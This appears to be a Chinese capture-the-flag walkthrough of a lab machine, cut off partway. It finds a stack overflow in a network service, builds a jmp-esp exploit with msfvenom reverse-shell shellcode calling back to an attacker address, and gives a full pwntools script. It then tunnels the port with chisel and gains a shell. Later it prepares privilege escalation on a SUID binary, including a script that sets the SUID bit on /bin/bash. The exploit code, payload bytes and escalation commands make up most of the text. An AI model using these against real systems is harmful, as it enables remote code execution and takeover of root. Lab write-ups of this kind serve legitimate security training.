❯ ./bufferbot
Server is listening on port 9000
------------------------
# 另一个tty终端中
❯ python3 -c "from pwn import *; print(cyclic(3000))"|nc 127.0.0.1 9000

运行后立刻奔溃了,存在栈溢出漏洞

1
2
3
4
❯ ./bufferbot
Server is listening on port 9000
Buffer content: b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaaozaapbaapcaapdaapeaapfaapgaaphaapiaapjaapkaaplaapmaapnaapoaappaapqaapraapsaaptaapuaapvaapwaapxaapyaapzaaqbaaqcaaqdaaqeaaqfaaqgaaqhaaqiaaqjaaqkaaqlaaqmaaqnaaqoaaqpaaqqaaqraaqsaaqtaaquaaqvaaqwaaqxaaqyaaqzaarbaarcaardaareaarfaargaarhaariaarjaarkaarlaarmaarnaaroaarpaarqaarraarsaartaaruaarvaarwaarxaaryaarzaasbaascaasdaaseaasfaasgaashaasiaasjaaskaaslaasmaasnaasoaaspaasqaasraassaastaasuaasvaaswaasxaasyaaszaatbaatcaatdaateaatfaatgaathaatiaatjaatkaatlaatmaatnaatoaatpaatqaatraatsaattaatuaatvaatwaatxaatyaatzaaubaaucaaudaaueaaufaaugaauhaauiaaujaaukaaul
[1] 1613850 segmentation fault ./bufferbot

所以需要先确定偏移量,才能覆盖返回地址

得知eip值为 0x61616a6e

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
❯ gdb -q bufferbot
pwndbg: loaded 188 pwndbg commands and 47 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $hex2ptr, $argv, $envp, $argc, $environ, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break)
Reading symbols from bufferbot...
(No debugging symbols found in bufferbot)
------- tip of the day (disable with set show-tips off) -------
Use GDB's pi command to run an interactive Python console where you can use Pwndbg APIs like pwndbg.aglib.memory.read(addr, len), pwndbg.aglib.memory.write(addr, data), pwndbg.aglib.vmmap.get() and so on!
pwndbg> run
Starting program: /mnt/c/Users/maple/Desktop/tmp/bufferbot
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Server is listening on port 9000
Buffer content: b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaaozaapbaapcaapdaapeaapfaapgaaphaapiaapjaapkaaplaapmaapnaapoaappaapqaapraapsaaptaapuaapvaapwaapxaapyaapzaaqbaaqcaaqdaaqeaaqfaaqgaaqhaaqiaaqjaaqkaaqlaaqmaaqnaaqoaaqpaaqqaaqraaqsaaqtaaquaaqvaaqwaaqxaaqyaaqzaarbaarcaardaareaarfaargaarhaariaarjaarkaarlaarmaarnaaroaarpaarqaarraarsaartaaruaarvaarwaarxaaryaarzaasbaascaasdaaseaasfaasgaashaasiaasjaaskaaslaasmaasnaasoaaspaasqaasraassaastaasuaasvaaswaasxaasyaaszaatbaatcaatdaateaatfaatgaathaatiaatjaatkaatlaatmaatnaatoaatpaatqaatraatsaattaatuaatvaatwaatxaatyaatzaaubaaucaaudaaueaaufaaugaauhaauiaaujaaukaaul

Program received signal SIGSEGV, Segmentation fault.
0x61616a6e in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────
EAX 0x810
EBX 0x6161686e ('nhaa')
ECX 0
EDX 0
EDI 0xf7ffcb60 (_rtld_global_ro) ◂— 0
ESI 0x804bf04 (__do_global_dtors_aux_fini_array_entry) —▸ 0x8049210 (__do_global_dtors_aux) ◂— endbr32
EBP 0x6161696e ('niaa')
ESP 0xffffc730 ◂— 0x61616b6e ('nkaa')
EIP 0x61616a6e ('njaa')
────────────────────[ DISASM / i386 / set emulate on ]─────────────────────
Invalid address 0x61616a6e





─────────────────────────────────[ STACK ]─────────────────────────────────
00:0000│ esp 0xffffc730 ◂— 0x61616b6e ('nkaa')
01:0004│ 0xffffc734 ◂— 0x61616c6e ('nlaa')
02:0008│ 0xffffc738 ◂— 0x61616d6e ('nmaa')
03:000c│ 0xffffc73c ◂— 0x61616e6e ('nnaa')
04:0010│ 0xffffc740 ◂— 0x61616f6e ('noaa')
05:0014│ 0xffffc744 ◂— 0x6161706e ('npaa')
06:0018│ 0xffffc748 ◂— 0x6161716e ('nqaa')
07:001c│ 0xffffc74c ◂— 0x6161726e ('nraa')
───────────────────────────────[ BACKTRACE ]───────────────────────────────
► 0 0x61616a6e None
1 0x61616b6e None
2 0x61616c6e None
3 0x61616d6e None
4 0x61616e6e None
5 0x61616f6e None
6 0x6161706e None
7 0x6161716e None
───────────────────────────────────────────────────────────────────────────
pwndbg>

查看偏移量,得知1335

1
2
❯ cyclic -l  0x61616a6e
1335

不过这不是真正的偏移量,原因是print 函数会自动在结尾添加 \n换行符,也就是自动添加了 2 字节的填充

所以真正偏移为1337


或者你可以使用写入字节流的方式直接输出原始二进制数据,避免任何隐式转换或添加字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ python3 -c "from pwn import *; import sys; sys.stdout.buffer.write(cyclic(3000))"|nc 127.0.0.1 9000
----------------------
EAX 0x810
EBX 0x696e6161 ('aani')
ECX 0
EDX 0
EDI 0xf7ffcb60 (_rtld_global_ro) ◂— 0
ESI 0x804bf04 (__do_global_dtors_aux_fini_array_entry) —▸ 0x8049210 (__do_global_dtors_aux) ◂— endbr32
EBP 0x6a6e6161 ('aanj')
ESP 0xffffc730 ◂— 0x6c6e6161 ('aanl')
EIP 0x6b6e6161 ('aank')
------------------------
❯ cyclic -l 0x6b6e6161
1337

并且我们可以在IDA Pro中发现有个函数名为jmp_esp

得到地址为0x08049559

image

如果没装IDA Pro可以利用objdump,也能得到地址

1
2
3
❯ objdump -d ./bufferbot |grep -i "jmp.*esp"
0804954c <jmp_esp>:
8049559: ff e4 jmp *%esp

转为小端序地址

1
2
❯ python3 -c "from pwn import *; print(p32(0x08049559))"
b'Y\x95\x04\x08'

所以ROP链为padding+jmp_esp+nop+shellcode

同个填充垃圾数据即可覆盖返回地址为 jmp esp 的地址,EIP 会跳转到 jmp esp 指令,随后 ESP 的值成为新的执行地址

最后EIP 开始执行 ESP 指向的代码,即 nop + shellcode

\x90(NOP 指令)是空操作,用于形成“滑行区”

  • NOP Sled 的意义:容忍地址计算误差,提高攻击鲁棒性。

由于如果shellcode是/bin/sh的话只是在tyler用户的终端中执行sh,虽然可以成功溢出但我们没法操作

收不到回显

所以直接生成一个反弹shell的shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ msfvenom -p linux/x86/shell_reverse_tcp --platform linux -a x86 LHOST=172.17.0.1 LPORT=4444 -f c -e x86/shikata_ga_nai EXITFUNC=thread
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of c file: 425 bytes
unsigned char buf[] =
"\xdd\xc5\xd9\x74\x24\xf4\x58\xbe\x7a\x3f\xe4\xbc\x29\xc9"
"\xb1\x12\x31\x70\x17\x83\xe8\xfc\x03\x0a\x2c\x06\x49\xdb"
"\x89\x31\x51\x48\x6d\xed\xfc\x6c\xf8\xf0\xb1\x16\x37\x72"
"\x22\x8f\x77\x4c\x88\xaf\x31\xca\xeb\xc7\x6d\x3d\x0c\x16"
"\x06\x3c\x0c\x09\x8a\xc9\xed\x99\x54\x9a\xbc\x8a\x2b\x19"
"\xb6\xcd\x81\x9e\x9a\x65\x74\xb0\x69\x1d\xe0\xe1\xa2\xbf"
"\x99\x74\x5f\x6d\x09\x0e\x41\x21\xa6\xdd\x02";

构造如下payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context(os='linux', arch='i386', log_level='debug')

# 找到 jmp_esp 指令地址)
jmp_esp_addr = 0x08049559

# 生成 shellcode
shellcode = b"\xdd\xc5\xd9\x74\x24\xf4\x58\xbe\x7a\x3f\xe4\xbc\x29\xc9\xb1\x12\x31\x70\x17\x83\xe8\xfc\x03\x0a\x2c\x06\x49\xdb\x89\x31\x51\x48\x6d\xed\xfc\x6c\xf8\xf0\xb1\x16\x37\x72\x22\x8f\x77\x4c\x88\xaf\x31\xca\xeb\xc7\x6d\x3d\x0c\x16\x06\x3c\x0c\x09\x8a\xc9\xed\x99\x54\x9a\xbc\x8a\x2b\x19\xb6\xcd\x81\x9e\x9a\x65\x74\xb0\x69\x1d\xe0\xe1\xa2\xbf\x99\x74\x5f\x6d\x09\x0e\x41\x21\xa6\xdd\x02"

# 构造 payload
payload = (
b"A" * 1337 + #填充缓冲区
p32(jmp_esp_addr) + # 覆盖返回地址为 jmp_esp
b"\x90" * 32 + # NOP Sled
shellcode # shellcode
)

# 发送 payload
# p = process("./bufferbot")
p = remote('127.0.0.1', 9000)
p.send(payload)
p.interactive()

由于靶机上没有安装pwntools

所以将端口转发到本地

1
2
3
4
5
6
7
8
9
10
christine@c97d11830a6f:/tmp/toolkit-apcMhgmr$ ./chisel client 172.17.0.1:2333 R:9000:127.0.0.1:9000&
[1] 599
christine@c97d11830a6f:/tmp/toolkit-apcMhgmr$ 2025/05/15 07:11:59 client: Connecting to ws://172.17.0.1:2333
2025/05/15 07:11:59 client: Connected (Latency 303.952µs)
---------------------
❯ ./chisel server -p 2333 --reverse
2025/05/15 21:10:08 server: Reverse tunnelling enabled
2025/05/15 21:10:08 server: Fingerprint szJbTUCt1Kcf5qIgzb+IzVZb3b2qZkXZh2HycKfb78M=
2025/05/15 21:10:08 server: Listening on http://0.0.0.0:2333
2025/05/15 21:11:59 server: session#1: tun: proxy#R:9000=>9000: Listening

尝试执行一下payload,同时监听一下进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
❯ python3 exp.py
[+] Opening connection to 127.0.0.1 on port 9000: Done
[DEBUG] Sent 0x5bc bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000530 41 41 41 41 41 41 41 41 41 59 95 04 08 90 90 90 │AAAA│AAAA│AY··│····│
00000540 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 │····│····│····│····│
00000550 90 90 90 90 90 90 90 90 90 90 90 90 90 dd c5 d9 │····│····│····│····│
00000560 74 24 f4 58 be 7a 3f e4 bc 29 c9 b1 12 31 70 17 │t$·X│·z?·│·)··│·1p·│
00000570 83 e8 fc 03 0a 2c 06 49 db 89 31 51 48 6d ed fc │····│·,·I│··1Q│Hm··│
00000580 6c f8 f0 b1 16 37 72 22 8f 77 4c 88 af 31 ca eb │l···│·7r"│·wL·│·1··│
00000590 c7 6d 3d 0c 16 06 3c 0c 09 8a c9 ed 99 54 9a bc │·m=·│··<·│····│·T··│
000005a0 8a 2b 19 b6 cd 81 9e 9a 65 74 b0 69 1d e0 e1 a2 │·+··│····│et·i│····│
000005b0 bf 99 74 5f 6d 09 0e 41 21 a6 dd 02 │··t_│m··A│!···│
000005bc
[*] Switching to interactive mode
[DEBUG] Received 0x8ec bytes:
…………………………
⠀⣁⠒⣠⣌⢓⡙⣿⣿⡁⠨⢉⣐⠢⣸⣿⣿⣿⣿⣾⣿⣷⣾⣿⣯⣿⣿⣿⣿⣇⠂⣂⡋⠥⠊⣿⣿⢏⡞⣫⣄⠐⢀⡀
⣠⣶⣿⣿⣿⠌⠷⠹⣿⡿⡠⢘⣫⣾⣿⣿⣿⡿⢛⣫⣭⡶⠶⣭⣍⡛⢿⣿⣿⣿⣿⣝⡁⢄⢺⣿⠿⠼⠅⣿⣿⣿⣶⣦
⣿⣿⣿⣿⡿⡘⣱⣟⡂⠜⣴⣿⣿⣿⣿⡿⣩⣎⣿⣟⢪⢇⡰⣗⣿⣿⣇⣌⠻⣿⣿⣿⣿⣦⠳⢒⣿⣎⢃⢿⣿⣿⣿⣿
⣿⣿⣿⣿⠣⠰⣾⡶⠉⣼⣿⣿⣿⣿⢏⣾⡿⢿⣿⣮⢘⣆⠱⡂⣵⣿⣿⢿⣷⡙⣿⣿⣿⣿⣧⠫⢶⣷⠆⠜⣿⣿⢿⣿
⢿⣯⣪⣿⡄⢘⣽⣭⡆⣿⣿⣿⣿⡟⣼⣿⣷⢾⠳⠟⣹⢿⡶⣿⠻⠾⣻⣿⣿⣧⢹⣿⣿⣿⣿⢸⣭⣯⡇⢢⣿⣯⢪⣿
⢌⢿⣿⣿⣷⡈⢵⢿⣗⡸⣿⣿⣿⡇⠛⣿⡓⠁⢀⣀⡀⠈⠉⠀⣀⡀⠀⢩⡟⠋⢸⣿⣿⣿⢇⣺⡿⡮⢁⣾⣿⣿⣿⢏
⠹⣆⡛⢿⣿⣿⡄⢋⡏⠷⣈⠻⣿⣷⡀⣿⠇⠀⢾⣿⡿⠀⠀⢸⣿⡿⠀⢸⡀⠀⣼⣿⠟⣁⡺⢩⣝⢠⣾⣿⣿⠟⣁⢮
⣄⠈⠊⣢⡼⡶⣶⣿⣧⣦⡁⢋⠖⡭⢡⠄⠞⠄⣄⠈⠀⠀⠀⠀⠈⣀⡄⠢⠁⡌⢭⡲⡝⠊⣠⣮⣿⣶⡶⡲⣤⡛⠊⠂
⣭⡅⢺⣿⣇⣁⣼⣿⣶⣿⣷⡀⠘⠀⢥⣄⠀⠀⠋⠀⢿⠀⠀⢾⠀⠸⠁⠀⡀⣘⡁⠁⢀⣾⣿⣷⣿⣿⣌⣁⣿⣿⠃⣬
⢛⣡⣟⣿⣿⣏⣎⣿⡿⢿⣯⣷⢹⣆⠉⠻⣯⣖⣤⠄⣈⣀⣀⣀⠠⣤⣲⣼⠟⠁⢠⡟⡼⣭⣿⢿⣿⣯⣏⣿⣿⣟⣧⣙
⣿⣻⣿⣿⣻⣟⣷⣿⣿⣷⣶⢸⢸⣿⣿⣆⡄⡉⠛⠻⠿⠹⠏⠽⠛⠛⢉⢠⣰⣶⣿⣇⠇⢶⣾⣿⣿⣿⣿⣿⣻⣿⣿⣻
⢯⣽⣾⡟⣿⣿⣻⠱⣥⢸⠀⢀⣺⣿⢿⣷⣕⣹⣾⣧⣴⣶⣶⣦⣴⣷⣯⣨⢾⣿⣿⣿⡄⠈⠉⢮⡷⡋⣿⣿⣟⢿⣿⣭
⠧⡞⠩⠅⣚⣛⠃⢐⣒⠠⠂⣬⣿⡿⠾⢷⣿⣿⣿⣿⡿⣟⣛⢿⣿⣿⣿⣿⣿⠷⢿⣿⡶⠐⠨⢒⡒⠑⢛⣛⡓⠭⢑⢢
⣠⣤⣀⡀⠀⠀⠀⠀⠀⠀⠸⣿⣯⢪⣿⡵⣽⣿⣿⣽⡜⣾⣷⢱⢫⣿⣿⡟⡟⣽⣝⡞⣿⣆⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤
⣩⣉⣓⠻⠿⡖⠠⠄⠀⠀⠴⣿⣏⢮⣉⡵⣻⣿⣿⣿⣾⣢⣴⣪⣿⣿⣿⣧⡣⣙⡡⣣⣿⣆⠀⠀⠀⠤⠐⣲⠿⢛⣊⣉
⣛⣛⠺⢿⣶⡤⣀⠀⠀⠀⠈⢿⠟⣿⣶⣯⢿⣟⡻⠿⠭⠭⠭⠭⠿⠟⣻⡿⢵⣷⣿⠻⢻⠃⠀⠀⠀⢀⡠⢴⣾⠿⢒⣛
⡕⡪⢝⢶⡬⡉⠀⠀⠀⠀⠀⢀⡙⠏⠓⠈⣁⣀⣤⣤⣤⣤⣤⣤⣤⣀⣀⣈⠉⠚⠩⢟⡁⠀⢀⠀⠀⠁⠀⡩⣴⢾⡫⣕
[ B u f f e r b o t ]
$
---------------------------------------------
2025/05/15 09:05:29 CMD: UID=1002 PID=531 | id -un
2025/05/15 09:05:29 CMD: UID=1002 PID=532 | //bin/sh
2025/05/15 09:05:29 CMD: UID=1002 PID=533 | tty
………………

tyler用户

即可收到反弹过来的shell

tyler用户家目录存在suid权限的shell程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[+] Got reverse shell from 395d88ede39f-172.17.0.2-Linux-x86_64 😍️ Assigned SessionID <6>

[!] Session detached ⇲

(Penelope)─(Session [5])> interact 6
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [6], Shell Type: PTY, Menu key: F12
[+] Logging to /home/Pepster/.penelope/395d88ede39f~172.17.0.2_Linux_x86_64/2025_05_15-23_05_29-785.log 📜
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
tyler@395d88ede39f:/home/tyler$ ls -al
total 56
drwxr-x--- 1 tyler tyler 4096 Aug 2 2024 .
drwxr-xr-x 1 root root 4096 Jul 31 2024 ..
lrwxrwxrwx 1 root root 9 Jul 31 2024 .bash_history -> /dev/null
-rw-r--r-- 1 tyler tyler 220 Jul 30 2024 .bash_logout
-rw-r--r-- 1 tyler tyler 3771 Jul 30 2024 .bashrc
drwxrwxr-x 2 tyler tyler 4096 Jul 30 2024 .dev
lrwxrwxrwx 1 root root 9 Aug 2 2024 .mysql_history -> /dev/null
-rw-r--r-- 1 tyler tyler 807 Jul 30 2024 .profile
lrwxrwxrwx 1 root root 9 Aug 2 2024 .python_history -> /dev/null
-rw------- 1 tyler tyler 10083 Jul 30 2024 .viminfo
-rwsr-xr-x 1 root root 16488 Jul 30 2024 shell

运行一下,猜测可能调用了data命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
tyler@395d88ede39f:/home/tyler$ ./shell
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⣤⡾⠻⠫⣦⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⢀⣰⡲⡿⢳⣦⡀⠄⠄⠸⠉⠇⠄⢀⣾⡃⠄⠄⠄⣠⣦⡿⣷⣤⡀⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠸⠯⠁⠄⠈⣗⡃⠄⠄⠠⠒⠄⣠⡺⠎⠁⠄⠄⢘⣳⠃⠄⠈⠭⠷⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⠒⢶⠄⢠⣽⢣⣄⠄⠄⢠⣶⠋⢠⡀⠄⠄⢀⣄⢯⣄⠄⠰⠖⠂⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⢀⣆⢶⢰⣄⠄⢁⢢⠶⠁⠃⢻⢷⠄⣶⡏⠄⠩⣿⠄⣸⠎⠋⠈⠷⡄⢏⠁⡠⣶⣶⣶⣄⠄⠄⠄⠄
⠄⠄⠄⢶⢏⠤⡀⣼⠄⠁⣼⡏⢰⣦⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠄⣶⢸⣷⠄⠄⣿⠄⡠⢬⡶⠄⠄⠄⠄
⠄⠄⠄⠄⡁⠩⡃⢻⠄⠄⠹⣇⢸⣿⠄⠄⣠⠤⠄⠄⠄⠠⣤⠄⠄⠄⣿⡸⡏⠄⠄⡿⠘⢌⢃⠁⠄⠄⠄⠄
⠄⠄⠄⠄⡀⣀⡀⠈⢷⡄⡄⣠⢸⣿⠄⠄⢿⣌⠐⠄⠰⢈⣼⠇⠄⠄⣿⣌⣀⣤⡜⠋⢀⣀⣀⡀⠄⠄⠄⠄
⠄⠄⠠⠬⠛⠘⠻⣦⠄⠈⠁⣡⢸⣿⠄⠈⣄⣀⢀⡀⣀⢀⢀⠆⠄⠄⣿⣌⠉⠁⠄⣔⡟⠛⠛⠯⠄⠄⠄⠄
⠄⠄⡈⠲⠁⠄⠄⢺⣣⢰⡼⠏⢸⣿⠄⠄⠈⠟⢸⡇⡿⠘⠈⠄⠄⠄⣿⢓⡟⣶⣶⡛⠂⠄⠸⠖⠪⠄⠄⠄
⠄⠄⢇⠉⠄⠄⠄⠄⠈⢈⣁⣀⢸⣿⣶⣶⣶⣶⣶⣶⢶⡶⣶⣶⣶⡶⣿⡀⣀⡉⠈⠄⠄⠄⠄⠋⠄⠄⠄⠄
⠄⠄⠈⣐⡻⠹⠷⠄⠰⡟⠘⠋⠄⠄⣀⡠⠠⢤⠄⠤⠄⣤⠤⠄⣀⠄⠄⠁⠙⢛⡷⠄⠴⠟⢾⣂⠄⠄⠄⠄
⠄⠄⠄⣭⡇⠄⠅⢀⢛⠂⠄⣠⣤⢶⡿⠂⢨⣳⠄⣻⡃⢚⣧⠄⠚⣵⣠⣄⡀⠄⣻⡃⡻⡀⠄⣭⡇⠄⠄⠄
⠄⠄⠄⠹⣾⣄⣤⡼⡓⢀⣾⠏⠉⠄⣀⣠⡺⡍⠄⣽⡅⠸⡿⣦⢀⠄⠈⠩⣷⡄⠸⡫⣠⡤⣶⠊⠄⠄⠄⠄
⠄⠄⠄⠄⠈⢠⡍⠉⠄⠐⣭⡤⣴⢿⡭⣯⣥⣤⣤⢯⢤⣤⡤⣭⡬⣽⢷⣤⡭⠱⠄⠄⢩⠁⠁⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠁⠄⠄⣜⣾⠭⠍⠬⠡⠍⠬⠅⠭⠨⠨⠨⠅⠍⠥⠩⠌⠥⢻⡽⡀⠄⠈⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⡜⣾⠣⠍⠭⠡⠭⠨⠭⠥⠭⠬⠬⠬⡁⠥⠩⠍⠭⠩⠝⣿⡱⡀⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠨⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠭⠵⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
Thu May 15 09:07:31 CST 2025
# id
uid=0(root?) gid=0(root?) groups=0(root?)
# whoami
root?
# aaa
[!] YOU GOT R007 - C0NGR47ULA710N5 [!]
# aa
[!] YOU GOT R007 - C0NGR47ULA710N5 [!]
#

同样的,传到本地分析一下

1
2
3
4
5
6
tyler@395d88ede39f:/home/tyler$
[!] Session detached ⇲

(Penelope)─(Session [6])> download ~/shell
[+] Download OK '/home/Pepster/.penelope/395d88ede39f~172.17.0.2_Linux_x86_64/downloads/home/tyler/shell'

ROP

如法炮制,再次检查程序保护情况

开启了NX,意味着堆栈不可执行,攻击需转向 代码复用技术ROPret2libc

1
2
3
4
5
6
7
8
❯ checksec shell
[*] '/mnt/c/Users/maple/Desktop/tmp/shell'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

通过覆盖返回地址,跳转到程序中已有的代码片段(Gadgets),拼接成链调用目标函数(如 system("/bin/sh")

不过我们可以在tmp目录中新建一个文件,达到任意命令执行的效果

1
2
3
tyler@395d88ede39f:/home/tyler$ cd /tmp/
tyler@0624115b7fce:/tmp$ echo -e '#!/bin/bash\nchmod +s /bin/bash'>/tmp/sh
tyler@395d88ede39f:/tmp$ chmod +x rev.sh

同样的需要找出偏移量,模拟shell拥有suid权限的情况

1
2
sudo chown root:root shell
sudo chmod +s shell

由于我们需要模拟程序运行,所以需要切换到root用户运行pwndbg来调试程序

需要设置禁止跟踪子进程,因为程序运行后会自动运行/usr/bin/date

得到程序奔溃时的rip地址为0x3765413665413565

查询偏移为136

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
sudo su
[sudo] password for Pepster:
┌──(root㉿primary)-[/home/Pepster/dockerlabs]
└─# pwndbg -q shell
Reading symbols from shell...
(No debugging symbols found in shell)
pwndbg: loaded 188 pwndbg commands and 43 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $hex2ptr, $argv, $envp, $argc, $environ, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break)
------- tip of the day (disable with set show-tips off) -------
Use the spray command to spray memory with cyclic pattern or specified value
pwndbg> set follow-fork-mode parent # 只跟踪父进程
pwndbg> set detach-on-fork on # 自动分离子进程
pwndbg> cyclic 300
